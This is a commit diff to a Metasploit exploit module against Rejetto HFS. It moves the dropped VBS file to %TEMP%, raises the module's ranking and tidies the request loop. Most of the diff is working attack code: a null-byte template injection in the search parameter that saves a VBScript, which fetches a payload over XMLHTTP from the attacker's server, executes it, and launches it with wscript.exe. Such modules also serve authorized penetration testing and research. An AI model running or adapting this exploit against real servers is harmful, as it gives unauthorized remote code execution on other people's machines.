Use %TEMP% and update ranking

modules/exploits/windows/http/rejetto_hfs_exec.rb

@@ -6,7 +6,7 @@
 require 'msf/core'
 
 class Metasploit3 < Msf::Exploit::Remote
-  Rank = NormalRanking
+  Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::Remote::HttpServer
@@ -49,7 +49,6 @@ class Metasploit3 < Msf::Exploit::Remote
       register_options(
         [
           OptString.new('TARGETURI', [true, 'The path of the web application', '/']),
-          OptString.new('SAVE_PATH', [true, 'Target writable path', 'c:\\']),
           OptInt.new('HTTPDELAY',    [false, 'Seconds to wait before terminating web server', 10]),
         ], self.class)
   end
@@ -86,6 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote
     file_name = rand_text_alpha(rand(10)+5)
     file_ext = '.vbs'
     file_full_name = file_name + file_ext
+    vbs_path = "%TEMP%\\#{file_full_name}"
 
     vbs_code = "Set x=CreateObject(\"Microsoft.XMLHTTP\")\x0d\x0a"
     vbs_code << "On Error Resume Next\x0d\x0a"
@@ -97,27 +97,24 @@ class Metasploit3 < Msf::Exploit::Remote
     vbs_code << "Execute x.responseText"
 
     payloads = [
-      "save|#{datastore['SAVE_PATH']}#{file_full_name}|#{vbs_code}",
-      "exec|wscript.exe //B //NOLOGO #{datastore['SAVE_PATH']}#{file_full_name}"
+      "save|#{vbs_path}|#{vbs_code}",
+      "exec|wscript.exe //B //NOLOGO #{vbs_path}"
     ]
 
     print_status("Sending a malicious request to #{target_uri.path}")
     payloads.each do |payload|
-      res = send_request_raw({
+      send_request_raw({
         'method' => 'GET',
         'uri'    => "/?search=%00{.#{URI::encode(payload)}.}"
       })
-      if res
-        print_status("#{res.code}\n#{res.body.to_s}")
-      end
     end
-    register_file_for_cleanup("#{datastore['SAVE_PATH']}#{file_full_name}")
+    register_file_for_cleanup(vbs_path)
   end
 
   def exploit
     begin
       Timeout.timeout(datastore['HTTPDELAY']) { super }
-      rescue Timeout::Error
+    rescue Timeout::Error
       # When the server stops due to our timeout, this is raised
     end
   end